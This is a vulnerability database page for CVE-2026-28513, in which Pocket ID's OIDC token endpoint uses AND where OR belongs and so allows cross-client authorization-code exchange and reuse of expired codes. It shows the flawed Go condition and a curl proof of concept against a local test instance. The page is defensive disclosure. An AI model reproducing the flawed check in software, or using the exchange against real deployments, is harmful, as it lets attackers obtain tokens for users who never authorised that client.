GHSA-QH6Q-598W-W6M2

Vulnerability from github – Published: 2026-03-09 17:24 – Updated: 2026-03-10 18:43
VLAI
Summary
Pocket ID: OIDC authorization code validation uses AND instead of OR, allowing cross-client token exchange
Details

Summary

The OIDC token endpoint rejects an authorization code only when both the client ID is wrong and the code is expired. This allows cross-client code exchange and expired code reuse.

Details

backend/internal/service/oidc_service.go:407

if authorizationCodeMetaData.ClientID != input.ClientID && authorizationCodeMetaData.ExpiresAt.ToTime().Before(time.Now()) {
    return CreatedTokens{}, &common.OidcInvalidAuthorizationCodeError{}
}

&& should be ||. Current behavior:

Condition Expected Actual
Wrong client + valid code Reject Accept
Correct client + expired code Reject Accept

PoC

Prerequisite: pocket-id running with APP_ENV=test and BUILD_TAGS=e2etest. The test user (Tim Cook) must have authorized both Nextcloud and Immich OIDC clients (i.e., user_authorized_oidc_clients records exist for both). The seed data includes an authorization code auth-code issued for the Nextcloud client.

# 1. Seed test data
curl -X POST "http://localhost:1411/api/test/reset?skip-ldap=true"

# 2. Exchange Nextcloud's auth code using Immich's credentials
curl -X POST http://localhost:1411/api/oidc/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=authorization_code" \
  -d "code=auth-code" \
  -d "client_id=606c7782-f2b1-49e5-8ea9-26eb1b06d018" \
  -d "client_secret=PYjrE9u4v9GVqXKi52eur0eb2Ci4kc0x" \
  -d "redirect_uri=http://immich/auth/callback"
# Expected: 400 (wrong client)
# Actual: 200 with tokens — access_token.aud = Immich client ID

Verified result: HTTP 200 with tokens. The access_token audience is 606c7782-... (Immich), despite the authorization code being issued for 3654a746-... (Nextcloud).

Impact

Any OIDC client operator can exchange authorization codes issued for other clients, obtaining tokens for users who never authorized that client. Expired authorization codes can also be reused with the correct client until the 24-hour cleanup job runs.

Severity
8.5 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pocket-id/pocket-id/backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260307173642-b59e35cb59ae"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28513"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-09T17:24:49Z",
    "nvd_published_at": "2026-03-10T17:38:50Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe OIDC token endpoint rejects an authorization code only when **both** the client ID is wrong **and** the code is expired. This allows cross-client code exchange and expired code reuse.\n\n### Details\n\n`backend/internal/service/oidc_service.go:407`\n\n```go\nif authorizationCodeMetaData.ClientID != input.ClientID \u0026\u0026 authorizationCodeMetaData.ExpiresAt.ToTime().Before(time.Now()) {\n    return CreatedTokens{}, \u0026common.OidcInvalidAuthorizationCodeError{}\n}\n```\n\n`\u0026\u0026` should be `||`. Current behavior:\n\n| Condition | Expected | Actual |\n|-----------|----------|--------|\n| Wrong client + valid code | Reject | **Accept** |\n| Correct client + expired code | Reject | **Accept** |\n\n### PoC\n\n**Prerequisite:** pocket-id running with `APP_ENV=test` and `BUILD_TAGS=e2etest`. The test user (Tim Cook) must have authorized both Nextcloud and Immich OIDC clients (i.e., `user_authorized_oidc_clients` records exist for both). The seed data includes an authorization code `auth-code` issued for the Nextcloud client.\n\n```bash\n# 1. Seed test data\ncurl -X POST \"http://localhost:1411/api/test/reset?skip-ldap=true\"\n\n# 2. Exchange Nextcloud\u0027s auth code using Immich\u0027s credentials\ncurl -X POST http://localhost:1411/api/oidc/token \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"grant_type=authorization_code\" \\\n  -d \"code=auth-code\" \\\n  -d \"client_id=606c7782-f2b1-49e5-8ea9-26eb1b06d018\" \\\n  -d \"client_secret=PYjrE9u4v9GVqXKi52eur0eb2Ci4kc0x\" \\\n  -d \"redirect_uri=http://immich/auth/callback\"\n# Expected: 400 (wrong client)\n# Actual: 200 with tokens \u2014 access_token.aud = Immich client ID\n```\n\n**Verified result:** HTTP 200 with tokens. The `access_token` audience is `606c7782-...` (Immich), despite the authorization code being issued for `3654a746-...` (Nextcloud).\n\n### Impact\n\nAny OIDC client operator can exchange authorization codes issued for other clients, obtaining tokens for users who never authorized that client. Expired authorization codes can also be reused with the correct client until the 24-hour cleanup job runs.",
  "id": "GHSA-qh6q-598w-w6m2",
  "modified": "2026-03-10T18:43:07Z",
  "published": "2026-03-09T17:24:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-qh6q-598w-w6m2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28513"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pocket-id/pocket-id"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pocket ID: OIDC authorization code validation uses AND instead of OR, allowing cross-client token exchange"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.